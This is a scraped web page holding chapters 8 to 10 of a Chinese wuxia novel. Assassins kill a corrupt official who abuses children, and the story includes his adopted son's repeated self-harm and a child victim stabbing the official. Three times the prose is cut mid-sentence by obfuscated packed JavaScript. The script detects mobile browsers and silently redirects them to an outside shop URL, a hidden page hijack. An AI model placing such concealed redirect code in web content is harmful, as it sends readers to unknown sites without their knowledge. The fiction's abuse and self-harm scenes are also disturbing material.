;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887569|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放弃吧,就像他一样,不要在挣扎了……
他用刀将自己的手臂划得血肉模糊,却像是已经感觉不到疼痛一般,任凭鲜血流淌。
…………
顾青衣伏趴在屋上,她屏息凝神,几乎没有发出活人的动静,她听着屋内时断时续的。令人不快的响动,目光却始终落在门前那个微微颤抖的背影上。他是这场刺杀中最大的阻碍,她须谨慎应对。崔霖并没有发现她,一个时辰过去了,他依旧站在那里,一动不动的背对着灯火,面朝着漆黑的庭院,仿佛一尊僵硬的石像。只是他手上的伤刚一凝固,他便会再次用力弄伤自己,鲜血逐渐在他站立的地方积成一小滩。
他看上去很痛苦……
顾青衣没由来的想,既然呆在这里是让人如此难受的一件事,为什么他还要如此尽忠职守呢?虽然她并不害怕受伤,但却也懂得伤口是会疼的,血流的太多是会冷的,但崔霖他好像完全不在意这些。
屋内的动静并没有随着时间流逝轻下去,逐渐消失的只有孩子们的哭音,那些声音变成了断断续续的痛呼,和床榻吱呀乱响的杂音。顾青衣不知道今夜还有多久才会结束,也不知道崔大人是否一整晚都会呆在房间里,可能她要在房上潜伏一整晚,但雨又开始下了。水沿着帽沿流入领口,湿冷的感觉并不好受,但此间淋雨的并不止她一个人,崔霖抬手抹了一把脸上的水,他两只手上都带了伤,被雨水晕开的血沾到他脸上,在昏暗的月色下,顾青衣觉得崔霖那样子看上去,仿佛流出了血泪。
原来一位受人爱戴的父母官也会有这样一面,她沉默的想,她并非不懂人心险恶,看清楚一人不能只看表象,只是她没想到,一个人竟然能把表象经营的如此完美。
屋内突然传出孩子细弱的哀求:“……疼……娘,救救我……”声音很轻,听上去几乎气息十分微弱。接着是从内向外拍门的声音:“大哥哥!大哥哥你在外头吧,求求你救救他,流了好多……好多血……”凄厉的尖叫声还没有喊完,女孩便被拖离了门口。
突然的剧变令崔霖浑身发抖,他没有转身去开门,而是将手伸向腰侧,摸出了腰带上挂着的一柄匕首。房上顾青衣见他动作,警惕的眯起眼睛。她看着崔霖及其缓慢的拔出匕首,她默默将手也按上佩剑,可下一瞬,他并没有朝她的方向看过来,他甚至没有抬头,只听见一声“嗤——”,他将半截匕首插入了自己的手臂。
他伤的很深,鲜血直流,然而受伤之人没有叫喊也没有按住伤口,他迅速将匕首拔出,然后又插了自己一刀。他握住匕首的手指关节用力到咯吱作响,他咬紧牙关直从牙缝中挤出粗粝的抽气,更多的血流出,可他并没有停下。
崔霖就好像感觉不到疼痛似的,他给了自己四刀,原来他手臂上的那些痕迹都是自残。顾青衣放下了按剑的手,她不理解。她会杀人,也在实行任务中受过伤,可她从来不会用刀砍向自己。原来一个服从命令的、听话的义子,需要他付出这么多的痛苦吗?那既然如此,又为何要继续呢?顾青衣不明白。
但她今晚已经弄清了许多事,崔大人的罪行,他躲藏的位置,他有对孩童施虐的癖好,这一切都会变成帮助沈墨完成任务的有效情报。
就在这时,顾青衣敏锐的耳力捕捉到远处传来一丝极轻微的、不同于夜风声的动静。有人正朝着她的方向潜行而来,身法灵活,步频极快。
是沈墨,他来的真是太晚了。
8. 第 8 章
下了一夜的雨,到了早晨空气中都弥散这水汽,很冷,城东破败的观音庙里蜷缩着不少无家可归的人,雨水从破漏的屋檐滴落,单调的“滴答”声断断续续。昨晚他们没有动手,因为屋子里的孩童出了意外,崔明仲从里头走出来的时候身上沾了不少的血,不止是崔霖,还连带惊动了院子里的守卫。无论如何沈墨也是没法在那种情况下动手的,于是两人悄悄退了出来。
就是今晚了,顾青衣远远看着沈墨,他从回来后就收敛了脸上的笑,沉默着一语不发,此时此刻,他正靠在观音庙门口生了霉的柱子上。沈墨一夜未合眼,身上的衣服里外半干,头发也有些凌乱,看上去三分狼狈。顾青衣从怀里掏出两块压实了的干粮分给他一块,这玩意不是灾区能见得到的,是黯月阁配给他们的口粮,难吃的要命,但能顶一整日的饭食。
沈墨没接,他只是抬眼看她,声音较平时听上去略有些沙哑:“你昨晚都看到了?”他问她。
他昨晚到宅邸时,那些凄惨的求救刚结束,崔明仲满手血的从屋子里出来,崔霖跪在他脚边,替义父用巾帕擦拭手指。对了,他还注意到,崔霖用匕首把自己的胳膊扎了个透。
顾青衣收回手,她沉默片刻,然后摇了摇头:“我一直待在屋外没进去,崔霖一整晚都守在门口。”
她诚实的令人发指,沈墨苦笑,那些孩子的求救声她应当是听见了吧,都听见了却无动于衷,顾青衣是“傀”,她总在有意无意提醒他这一点。自己同她果然还是不一样的,沈墨垂下眼眸,那些血和微弱的哭音让他觉得烦躁苦闷,无论多久他都没法习惯。那个叫阿绫的小丫头,如果运气好的话她的妹妹应该还活着,他又要多管闲事了。
“今晚行动的话……”顾青衣自顾自咬了口干粮:“应当是最合适的,昨晚的事让不少当值的知道了,可能会换掉些人,是最合适的时机。”
“我要救人。”沈墨开口。
“……”顾青衣噎住了,他在说什么?
“我知道你不会帮我。”他离开柱子,拍了拍身上沾的水,然后拢了拢自己的头发,将马尾重新扎紧,现在看上去利落多了。
顾青衣不由自主向他迈了一步:“你在制造多余的风险,沈墨。”她提醒他。杀人,然后全身而退,对他而言并不很困难,即便有崔霖做护卫,可带上三个受伤的、惊恐的、哭闹不停的孩子,他几乎不可能全身而退。“阁主要求的是杀了崔明仲死,不是救人。”
沈墨闭上眼,他缓缓深吸几口气:“人我会杀掉。”那些调笑的语调消失了:“换防是最好的机会,而且崔霖身上有伤,而且那些孩子……”他短暂的停顿,然后露出一个浅笑:“他们和我们不一样,有人在等他们回去。”
这算什么理由呢?顾青衣不理解,但她没有点头或者摇头,只是看着他。身为杀手的沈墨,是阁中十年来最有天赋、也是最锋利的刀。
“别阻止我,司正大人。”沈墨按住腰间的佩剑,他没叫她青衣姐姐了,他是认真的。
…………
顾青衣在思考,自己为什么阻止沈墨,那些是任务外的事,处理不当就会打草惊蛇。但沈墨难得正色,对他而言阁主的任务似乎从不是什么重要的事,救人才是。现在回想起来,沈墨他从以前开始,出任务时麻烦就特别多,他的前任司正罚过他,阁主也罚过,禁闭、鞭刑,可他好似从来不长记性。他被人看见,闹出大动静,甚至会主动同无关人士交谈,但要杀的人他从未失手过,所以这次应该也一样。
阁主交代过了,一切都交给他去办。
沈墨说他在晚上行动前还有地方要去,顾青衣没问,她照例来到粥棚监视着崔大人的一举一动。跟踪沈墨是件没有意义的事,他身上的毒还没解,他不会逃跑的。
但是他说他要“救人”,这种事顾青衣过去从未做过,阁主不会给“傀”这种任务。那分明是件会让他的处境更加不利的事,为何他还要执意去做呢?万一他失败了的话,想到这出顾青衣握紧自己的袖箭,救他或者直接杀了他,一切只在她一念之间。
“这粥是滚烫的,你在胡闹什么!”前面的喧哗声打断了顾青衣的思绪,同昨日一样,排队领粥的人又挤又嘈杂,这是最合适的藏身地,只是快轮到她时,却出了点小意外。
顾青衣往前看去,一位妇人跪在地上:“没关系,您就往我手上盛吧,孩子饿的狠了……我没关系……”女人用力挤出一个比哭还难看的笑容,她双手往前举着,她没有食器却也需要吃食,她的双手沾了地上的泥,看上去很脏。
施粥的人面露难色,可在他停手的当儿,后面的人已经发出了不满:“这……算了我不管了,你接好。”说着他将粥盛到女人手中。
滚烫的水让她的掌心立刻变得又红又肿,可她不知道哪来的意志,便是维持着双手拢住的姿势:“谢谢,谢谢大人……”
顾青衣看着,她往前走了一步:“用我的吧。”她说,然后将自己的手里的半块陶碗递给素不相识的女人。
女人惊讶的看她。
“如果把手烫坏了,就抱不住孩子了。”她没做多解释,只是扭了她的手腕,让她将粥漏入碗中,果然掌心已经被烫的起了泡:“而且这样你还能多要些。”她劝到。
这么诱人的说法,女人是没法拒绝的,她捧着碗朝顾青衣磕了个头:“谢谢,谢谢姑娘!”
顾青衣没说话,悄悄往后退。她也不饿,帮那女人一把也没什么坏事。
可她还未出人群,却被人揽住。
“姑娘。”崔霖走了过来,他伸手拦住她,看上去与昨日并没什么不同,只是面色更加苍白了,还有他伸出的那条手臂,能隐约闻到血腥味,不知道是谁的血。
“姑娘就这么走了吗?排了这么许久。”他主动过来同顾青衣说话。
顾青衣向他行了礼:“大人……”他怎会两次主动同她说话?顾青衣有些疑惑,他昨夜应该没有发现她的踪迹。
“你同我来吧,我这里也有多余的碗筷。”他向顾青衣伸手,她思索了片刻。他应当是没有怀疑她的,无论是表情还是伸出的那只手都感受不到杀气。
她点了点头,同他随行,两人往粥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887570|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
棚后面走去。
顾青衣本来便寡言,又是同着只有一面之缘的崔霖,她委实不知该同他说些什么。
倒是崔霖主动攀谈:“你找到弟弟了吗?”他居然还记得有这么一回事。
顾青衣点点头:“弟弟就在城东的观音庙里……”
“那他怎么没同你一起。”崔霖问。
她想了想:“他昨天遇到个孩子,说是妹妹丢了,他一直在帮她找。”沈墨并没有同她说关于阿绫的事,是她窥见那个女孩躲在观音像后面同他招手,他便跟着去了。
这句话让崔霖面色更白了,他勉强装出焦心的模样:“是啊,这场天灾让许多人都不见了。”
好拙劣的演技,顾青衣望着他,他明明昨日里装正人君子倒还有几分像,可提起失踪的小孩子,他便露出了像是被刀戳在了心口上的苦闷表情。
既然那么痛苦,那为何还要去做?顾青衣有些好奇。
“你手上的伤……”他的伤口应当是裂开了,血顺着手背流出来。
“啊,这没什么。”他急忙掩藏住:“昨晚喝醉了,舞刀时伤了自己,让姑娘见笑。”
“大人倒是还能寻到酒。”她轻声说。
他意识到失言,刚想解释:“酒其实是……”
顾青衣打断了他:“大人心里不痛快。”
她一阵见血,让崔霖觉得在她面前说谎是件多余的事,不过他们本就不相识。
“是,嗯,有些事……”他点了点头:“有件事,我不想继续下去,可又不能不做。”
顾青衣没问是什么事,看到他昨夜自伤的模样就明白了:“那就跑?不想做,又不能不做的话。”
这根本不算建议,他抬眼看她,把诧异写在脸上。
“弟弟他,就是那个样子的,不想做的事就拖延,捣乱,或者直接跑掉。”虽然不是弟弟,但沈墨就是这样。
“哪那么容易。”崔霖苦笑。
“是很不容易,但是他一次不行就两次,下次还跑,他从来都不认命。”顾青衣松开了手中的袖箭,是的,事到如今他也想着救人,他同他们不一样,他的手中并非除了人命再无其他。
被她这么一说,崔霖也好像松快了些,他笑了:“哈哈哈,令弟顽劣。”
可顾青衣却摇了摇头:“他比大人勇敢。”她冷清清的说。
崔霖的笑容凝固在脸上,但片刻后他用力点了点头:“是,姑娘说没错,令弟一定比我勇敢。前头便是后厨,你去里头就能找人要到新碗,报我的名字,崔霖。我还要继续巡视,改日再……找姑娘闲聊。”
顾青衣依着他的话,两人分了两个方向,渐渐走远。
为什么两次都会同这个女人交谈呢?因为她那淡漠出尘的样子,有点像是已经故去的人。义母她……其实她同她应该一点都不像,义母是好人家的大小姐,不会是个乡下里脏兮兮的灾民,可他就是想同她说两句话。
他已经不记得当初那个给他桂花糕的女人的样貌了,安静的,像是风一吹就会飘散一般,这副样子多少让人怀念。
9. 第 9 章
“嘶,阿绫,这边。”大早上天刚亮,阿绫走出自家的烂窝棚还没两步,就被那个倒霉鬼逮到了。
她眼珠子轱辘转了一圈,朝他走过去,凑近了才发现一夜过去,他脸更白了。原先就像是染着病气的那种白,因为他把笑挂在脸上,才看着不那么显眼,可今早见到,好家伙,眼底也黑了,头发也湿着,看上去有点像是水鬼了:“昨晚一夜没睡?”她悻悻然问到。
她睡得也不沉,总担心妹妹,但她知道白天得有精神才能满城的找妹妹,于是阿绫逼着自己睡下了。好在狗爹已经三天没回来了,不知道他醉死在哪里,真死了反倒是能让她更舒坦些,除了打她们姐妹,变着法子拿她和妹妹卖了换酒,屁事都不干。
“我找到你妹妹了。”倒霉鬼开口就是这句,阿绫想挤兑他的话一下子就噎回去了。
“真的!阿萝在哪!!!”阿绫一下就扑过来了,她扯住沈墨的胳膊。她昨日才同他提得到城西宅子,他今日就告诉她找到阿萝了?
本是能轻易躲开的,但沈墨没动,任由她扯住自己:“我不是说了帮你救她。”这人脸上又挂回那种不着调的笑,好像刚才那张水鬼脸是她看走眼了似的,但此时阿绫没工夫同他计较这些。
她急切的询问着关于妹妹的消息:“真在城西?可你是怎么进去的?她怎么样!”
沈墨不着痕迹的脱开她:“我自然有办法,只是救她还要你帮手。”
阿绫本性还是警惕的,她断不会为了找妹妹再把自己卖给个不靠谱的,她脑子冷静了些。这人捏着也就比皮包骨好一点,他哪有这么大本事?
“怎么帮?还有她到底怎么样了。”
沈墨看眼神就知道这孩子也不好糊弄:“还活着,但她不好,买下她的大人在折磨她。”
阿绫的脸色立刻就变了:“那个崔大人?他从一来就在城里施粥”她本还存了一份心思,若是跟了位好大人,也许狗爹不会对她们姐妹这么差……倒不如说,其实无论是救灾的崔大人,还是没做过一件好事的狗爹,其实都比眼前这人可信。可阿绫就是从他沉水玉般的眼睛中,看出了些不一样的东西。
“要救她得你帮忙。”沈墨知道他自己一个人进出、杀人这些都不是问题,可救活人一事,总是比杀人要更麻烦些的。
阿绫退后两步:“你得告诉我你是怎么进去的,我怎么能信你……”
沈墨说谎眼睛都不眨一下:“我钻的狗洞,大半夜守卫哪那么精神。”多的他也不能说了,说的越多,眼前这个女孩便死的越快。
阿绫瞪着他,他把她当三岁小孩儿哄吗?这说得鬼才信。
“不信天黑了我带你钻。”他笑着对她说,那张脸怎么看怎么没有说服力。
阿绫咬咬牙:“好!我要见妹妹。”
“子时三刻,在宅子后头的巷子等我。”说完沈墨便挥了挥手,他还有有些东西要准备,不能一整日都带着她。
阿绫追了她两步:“喂,你要作甚……”他没回话,只挥了挥手。阿绫才发现自己一直都没问,这人背上背的包裹里究竟是什么?那么长一大件,从没没见他放下过。
…………
子时三刻,夜深了,路上没了人声,宅子为了不引人注目,门口的灯也灭了,于是旁边后巷便比别处的更黑,堆积的杂物在夜色中仿若幢幢鬼影。
沈墨自然到的早些,他已经好了准备,此刻正倚在阴影中闭目调息。他的呼吸缓慢而平稳,杀人对他而言已经变得如同吃饭喝水般寻常,最开始他还会心慌,会害怕,可渐渐的连活人惊恐的眼神也只会让他麻木。现在自己究竟是活成了谁期待的模样呢?
沈墨幽幽睁开眼睛,娘亲的剑就在背上,那个长包裹已经解开,他伸手握住剑柄。
顾青衣对他说过,非雨是阁中剑,所以娘亲嫁人时没能带走,但她之后剑再没能找到合适的主人,如今他承母业,刚好合用。
他能感受到,非雨在剑鞘中轻颤,初看时它只安静蛰伏,像一道沉睡的幽影,如今却迫不及待的想要饮血。他又要杀人了,只是这次,他给自己找了更多“恰当的”理由。
一阵急速的,乱糟糟的脚步声从身后传来,阿绫跑的气喘吁吁,她也不一定是跑的,或许是因为紧张。但她依旧毫不犹豫的向他跑来,一双杏般的眼睛透着亮。
“你……”她看清沈墨的打扮,愣了片刻,想问问题又不知道从哪开始。
沈墨抬手示意她安静,他半蹲下来,压低声音:“这是大哥哥的秘密。”声音里带了些许不正经,然后他话锋一转:“听好了,我去把阿萝救出来,你守在这里。”说着他伸手指了指巷子口斜对面,那里对着宅子倒夜香的窄门。“门我已经打开了,你若是听到宅子里有开始抓人的动静,便进去把这个丢到粪车上。”说着他往她手中塞了个火折子。
阿绫后背开始冒冷汗了,她根本就不认识他,这个倒霉大哥哥,她根本就不知道他是什么人!她勉强挤出一个问题:“这连天下雨的,湿的要命,火折子点不着的。”
沈墨赞许的眨了眨眼睛,他没想到她这般聪巧,他甚至没忍住伸手摸了摸她的头:“可以的,信我。”
阿绫别无选择,而且他这身行头也让人不由得去信他。她抓过火折子,在满是补丁的衣角用力擦了两下:“救阿萝……”
“放心,你在这里等我,我一定把她救出来。”说完他便用黑布遮了面,几乎是一瞬间就潜行至宅院墙角。
阿绫目瞪口呆的看着那人以极快的速度,在没有任何着力点的墙上用足尖点了两下,便轻松跃过了墙头的瓦檐,甚至没弄响半片瓦。
狗洞?这人果然满嘴鬼话!
她这么不满的想着,手却捏紧了他给的火折子,丝毫没有注意到,另一个形如鬼魅的身影随在沈墨身后越过高墙,消失在夜色中。
…………
墙内是宅院后花园,本不是荒芜的,可糟了天灾无人收拾,便到处散发着淤泥河腐烂植物的气味。沈墨落地无声,他蛰伏在阴影中调整呼吸。顾青衣在了,他的司正,从头到尾都会监视他的一举一动。他不知道她潜藏在何处,也不需要知道,只是后颈一丝若有如无的凉意提醒着他,他的司正大人如影随形,如芒在背。
他摒弃杂念,将呼吸与心跳压至最低。宅邸的守卫分布沈墨白日已探明大半。前院、正厅、偏院,皆有固定护卫和巡逻的小队,唯独这荒废的后院和穿廊而过的主屋,因崔明仲的特殊癖好需避人耳目,反倒护卫稀疏。
沈墨像一道没有实体的烟,他沿着墙根、树影、廊柱的阴影向前飘掠。他身法独特,脚步便是踩在泥里也没有声音,沿着固定线路巡逻的护卫竟无一人觉察他的存在。
很快他便靠近了那灯火通明的主屋,靠近时沈墨便听见了,某些暖昧模糊的笑语,和某种令人不适的、衣料摩擦的窸窣声从窗缝透出。远处回廊下,两个提着灯的衙差站在那里,他们不被允许靠近,只能在廊下吹风,远远看着,而门口站着的是崔霖。
这守备根本算不上坚实,硬闯不难,杀了里头那个也很容易,但那之后呢?怎么把三个受了伤的,孱弱的孩子带出去。他往屋顶望了一眼,顾青衣就在那里。
可她是不会有任何动作的,除非他被俘,那时她会从背后给他补一只毒箭。亦或者是他被崔霖击杀,她会替他完成接下来的任务。
她是不会帮他的,她只会冷眼旁观一切。
沈墨吐了一口气,他需要等待时机,尽可能少惊动旁人,把这个崔霖也……一击毙命。
其实沈墨还给自己立了条规矩,如果可以,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887571|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他不想杀任务外的对象,但他无法只击倒崔霖,还不惊动护卫,所以他也要死。他不想认真去合计崔霖是帮凶这件事,如果该死的人都有正当的理由的话,那他同屋上那位司正,才是最该下地狱的人。
崔霖还是同昨日一般守在门口,只是他下了原先那身染血的劲装,只着一身深色便服,腰间依旧悬着那把匕首。但还是有些不同的。
他昨日一整晚都背对着那扇门,今日却正对着,他咬紧牙根,一只手上拿了个艳红色的小药瓶子,缠着绷带的那手在门框上做出叩门的手势,屋内又一阵哭声传出,他挣扎着把手放下,就这么反复了好几次。
“霖儿,还不进来吗?义父让你拿的药呢?”门里人催促着,崔霖显出痛苦的神色,他终于叩了门:“义父,孩儿给您取来了。可是这药……”
义父年纪大了,不是每次都那么精力十足,昨晚被一搅和,没能玩尽兴,今日便想到了用药,他自己会用,也会给孩子们喂,可小孩子吃了这种东西会七窍流血的。
门内崔明仲是真正的禽兽,他有些不耐烦打断他:“进来。”他命令他,他因为这两个字便浑身僵硬了。
沈墨看着崔霖这样,只觉得胸中郁气闷在胸口。在京城中,崔霖除却崔家义子的身份,算是羽林卫新贵了,他是个有才华的人,却甘于做义父的一条狗。那人明明没有任何束缚他的能力,他却不会逃也不想逃……沈墨手紧握成拳,他若是有朝一日活成这样,他宁可死了。
崔霖推门而入,门刚从内合上,回廊处两个提灯的看到大人不在了,便立刻放松了站姿。而下一瞬,沈墨便从他们看不见的角落突然冒出,他剑未出鞘,一人后颈一击,两声闷响便将人敲晕过去。
他们倒地时沈墨接过两人手中的灯,搁到廊上,而后将两人拖入庭院乱石后,用布塞了口。这布是浸过迷香的,两人不到天明很难醒来,只是把药用在这些人身上,在司正眼里就是浪费。
他干净利落做完这些,却没靠近正门,而是绕到侧边。他白日里探查过,屋内其实分了好几间,他刚见其中一扇窗户虚掩着,屋内却没烛火,他靠近看了一眼,果然里头无人。他轻轻推开窗,闪身翻入。
屋内陈设简单,一床一桌一椅,空气中弥漫着淡淡的金疮药的气味。桌上一把锋利的短刀横在那里,刀身映着窗外透入的微光,旁边还有沾着血迹的布条。
崔明仲让义子就睡在隔壁,在他虐待幼童时,他本该离义父更近的,却因为受不住屋内那些声音和气味,每日逃出门站着吹一整晚冷风,真真可悲又可怜。
但沈墨并没有同情太久,他没有触碰任何东西,只贴近内侧墙壁,屏息凝神。这面墙的另一侧就是炼狱,薄墙的隔音并不好,一切声响都清晰地传了过来。
“求您了,好痛……不要”
“这是好东西,乖,听话吃下去。”
“我听话……我们都听话……求您……”
哭音中混杂着痛苦的哀求,可这一切都被崔明仲那令人作呕的温和劝诱驳回。沈墨还听到了某些细微的,皮肉摩挲的黏腻声响。
沈墨闭上眼睛,他额角青筋微跳,右手则搭上了非雨。他是幸运的,这次行刺的对象是个死有余辜之人,所以现在还不能急,他在心里对自己说。崔霖还在旁,所以他必须等,等一个一击必杀的时机,才能把三个小家伙顺利带出去……
下一刻,隔间的声音就变了。
一切发生的十分突然,“咔哒”一声脆响,让沈墨不明所以,可紧接着就是崔明仲陡然拔高的、夹杂着痛呼的怒骂:“小畜生!敢咬我?!”
孩子短促的惊叫和身体被重重掼在墙上的闷响混在一起,还有崔霖微弱的劝阻:“义父不能拿这个打她……不能……”
机会!沈墨握紧了手中剑。
10. 第 10 章
非雨穿透夜色的时候,屋子里所有人都没能反应过来,沈墨整个人随剑势而动,黯色的剑身隐于黑暗中,像是一条剧毒的蛇,一击刺中崔明仲,溅出的鲜血沾上沈墨手背。他再一次感受到了剑刺入肉//体的触感,沉闷的、迟钝的、令人心生厌恶的。他将剑拔出来的时候,淅淅沥沥的血流声,让突然静寂的内室弥漫着恐惧。
“啧。”他微微皱眉,居然偏了,重伤刚愈,状态果然不比过去。
沈墨握紧剑重新摆好架势。
他这一剑洞穿了崔明仲的咽喉,却没切断经脉,他没法发声了,那些怒吼卡在嗓子眼里,变成了咕噜咕噜的水音:“咳……唔……”崔明仲一手捂住伤口,一手颤抖的指着沈墨,面上一片蜡白,但一时半会还死不了。
再补一剑就行了,本该是很容易的,就算不补也可以,只要保证崔明仲不会得到救治,。他血而亡的可能性很高,何况多拖一阵儿,他喉咙里的血会流入肺里,他会逐渐喘不过气,直到活活憋死。
只是现下沈墨没工夫替崔大人选个死法。
“义父!”他听见崔霖大喊一声,听着情真意切的。他看着崔霖拔出腰间佩剑,轻轻叹了口气。
房间中他两人是正对着的,一次只能解决一个,他没辙了,事情发展成了最麻烦的样子。
在崔霖眼中,义父倒在血中的场景在他眼中仿佛地狱的绘卷,那些血从脖子上的伤口中涌出,在昏暗的灯光下显得黑,刺客是什么时候潜入的?什么来头?义父要快些医治,他还能活吗?他脑子里有无数的问题,但眼前这名刺客已经重新摆好了架势,他要的是义父的命。
“刺……”崔霖还没喊完,沈墨便向他攻来。
沈墨的剑又轻又急,一招一式并不讲究章法,只为取人性命。他专攻人眼、喉、胸等几处要害,他有一阵没有杀人了,手生疏了些,但饶是如此也足够难缠。昏暗的室内崔霖只觉得那柄染血的剑像是网一般将他罩住。他堪堪挡开刺客的攻击,脚步甚至被逼的往门口,没有余力顾及义父。
“有刺客!”崔霖大吼一声,可门外两人早被沈墨放倒,并不会有人立刻支援。而在打斗声惊动其他人之前,沈墨已经做了另一手准备。
“走水了!走水了!”远处走廊传来众人慌乱的声音,零星的火光透过窗,沈墨知道阿绫成功了,她果然是个聪明的孩子,从小就不得不靠自己讨生活的总是不需要人太担心。
这样一来他估摸着还能多拖延一刻钟,沈墨专心面对崔霖。羽林卫的套路没那么多花哨,他的招式很板正,剑横披过来时带起周身风动。这人分明手臂是有伤的,可下手却没半点迟钝,十分的难缠。
沈墨不禁开始焦急,他现在还是可以全身而退的,但是把孩子们留在这里……他往床上看了一眼,三个半大的孩子穿着华丽的衣服缩在床上,他们紧紧抱在一起,互相捂住同伴的嘴,以免发出声音,让在场的任何一人注意到他们。能看见的,中间那个女孩子被打了,脸颊肿着,嘴角也沾了血。
而床下崔明仲捂着自己的喉咙艰难的喘气,他还没失去意识,求活的本能让他伸手扯住床单,不太清楚他是想爬上去还是用那些布来裹住伤口。
“义父!”崔霖注意到了他的状态,如果他不能尽快解决眼前的刺客,义父真的会有生命危险。
再拖延下去的话,事情会越来越难办的,对他们两人而言都是一样的。
沈墨眼神一厉,他的剑势陡然一变。非雨不再追求精巧的刺中要害,而是化作一道沉重的青灰色匹练,狠狠撞向崔霖横挡的剑身。
“铛——!”巨响在室内炸开,火星迸溅。崔霖本就带伤的手臂剧震,虎口发麻,长剑虽未脱手,竟也被这蛮横一击荡开半尺。然而当沈墨欺身想入这空门给他最后一击时,崔霖竟然以另一只手握住自己的剑刃,止住了去势重新将他挡住。而沈墨并未追击,他以一个诡异的姿势拧腰,剑冲着床边的崔明仲而去,这一击他不会再出岔子。
“休想!”崔霖目眦欲裂,他不顾自身架势不稳,只合身扑上,直刺沈墨后心。这不可以!义父是他的一切,他把他带到京城,给了他一个家,允他进入羽林卫习武。他是他在这世上唯一的亲人了……
沈墨感到背后锋芒,但他前冲之势不减,只反手将一袖箭向后掷去,袖箭磕在剑侧锋,崔霖的扑击也迟滞了一瞬。
就在这一瞬,异变陡生!
并非沈墨或是崔霖,而是床上的女孩,崔明仲意识不明,胡乱扯住了她的脚踝,她发出一声尖叫,现实猛地抽回自己的脚,下一瞬她松开了同伴,从床单上随手抓起那只崔大人用来责罚他们的白玉戒尺,然后只听“噗嗤”一声,她将那尺插进了崔大人眼睛里。
“啊!……”因为被沈墨刺破了喉咙,他叫不出声,整个人面上糊满了血,看上去可怖极了。
“去死!去死啊!”不知是因为恐惧还是愤怒,女孩用力将玉尺往里头捅,她细瘦的胳膊上满是伤痕,却不知从哪里来的力气,这么小的身体里竟有这么强烈的恨意,就连沈墨也不自主的顿住身形。
时间仿佛在这一息之间凝滞了。非雨的剑尖在距离那具抽搐躯体不到半寸处悬停,沈墨微微偏头,看向床上那个女孩,他看着她小小的身体因用力而紧绷,她的脸上、胳膊上都是血,那双本该清澈的眼睛里,此刻被仇恨、恐惧和疯狂填满,沈墨知道她不是在杀人,她是在撕碎一个折磨着她的噩梦。
崔霖的剑也停在了沈墨背心三寸之外。而他的脸上却空无一物,远些那些愤怒、焦急、誓死护卫的决心,都在看见女孩动作的刹那被冻结,然后在摇曳的火光中碎裂成一片片。与沈墨交锋时他的手极稳,此时握剑的手却如糠筛一般剧烈的颤抖起来,他像是把在场的沈墨给忘了,空洞的眼神死死盯住床上那血腥的一幕,喉咙里发出“嗬嗬”的、不成调的气音。
那是他拼死也要保护的“义父”,所有被义父疼爱的孩子都是幸运的,都会得到幸福,就像他一样。他曾不止一次对自己这么说。可是他也曾不止一次看到,每年都有新的、年幼的孩子,许多都像是这个女孩子一样,在恐惧中痛苦、尖叫、怨恨。他们大多人活不到成年,活下来的也有许多都不正常了,他一直都知道,他只是捂住耳朵,闭上眼睛,告诉自己“要听话”,这样一切都会好起来。
可是现在义父不再能好起来了。
“呃……咕……”崔明仲被血染透的身体逐渐停止了痉挛,他捂住喉咙的手无力地滑落,只剩下插着玉尺的眼眶还在汩汩冒着混合着透明液体的血沫。他死得既不体面,也不安详,甚至看上去十分可怖。
女孩这才如梦初醒一般,她松开手:“啊!啊啊啊!”她用沾满血的双手扯住自己的头发,发出刺耳的尖叫。
屋内的空气沉重得让人窒息,窗外的人群的呼喊却越来越近:“大人没事吗?”“大人后屋走水了,大人受惊了。”“还请大人先往别院。”
真的没时间了。
沈墨缓缓站直身体,他垂下非雨,没有去看崔霖,而是走向床边,声音刻意放得平缓,甚至带上了一点温柔和哄劝:“好了,没事了。”他伸出手,轻轻握住了她紧紧攥着玉尺,她都忘了把它扔掉了。沈墨拔出这东西,可她却用力抓着,指节都发白了。“松手吧。”沈墨低声道,手上带了一种不容置疑的温和力道,他引导她松开那染血的凶器。沾血的玉尺“啪嗒”一声掉在染污的锦被上。
女孩像是被这一声惊了,她猛地抬头看向他,在发觉他蒙着面后更加害怕了,可转开头又看见了床上的尸体,对她而言噩梦似乎还没有醒,太可怕了:“阿绫姐姐……”她哭着叫出唯一能保护她的人,可那人如今却不在身边。
而那个一身黑衣的人在这是送了口气:“阿绫的妹妹,找到你了,阿萝。”他叫了她的名字,然后侧身挡住了她的视线,她看不见那位可怕的大人了。“别看。”他柔声说,然后摘下来面罩。
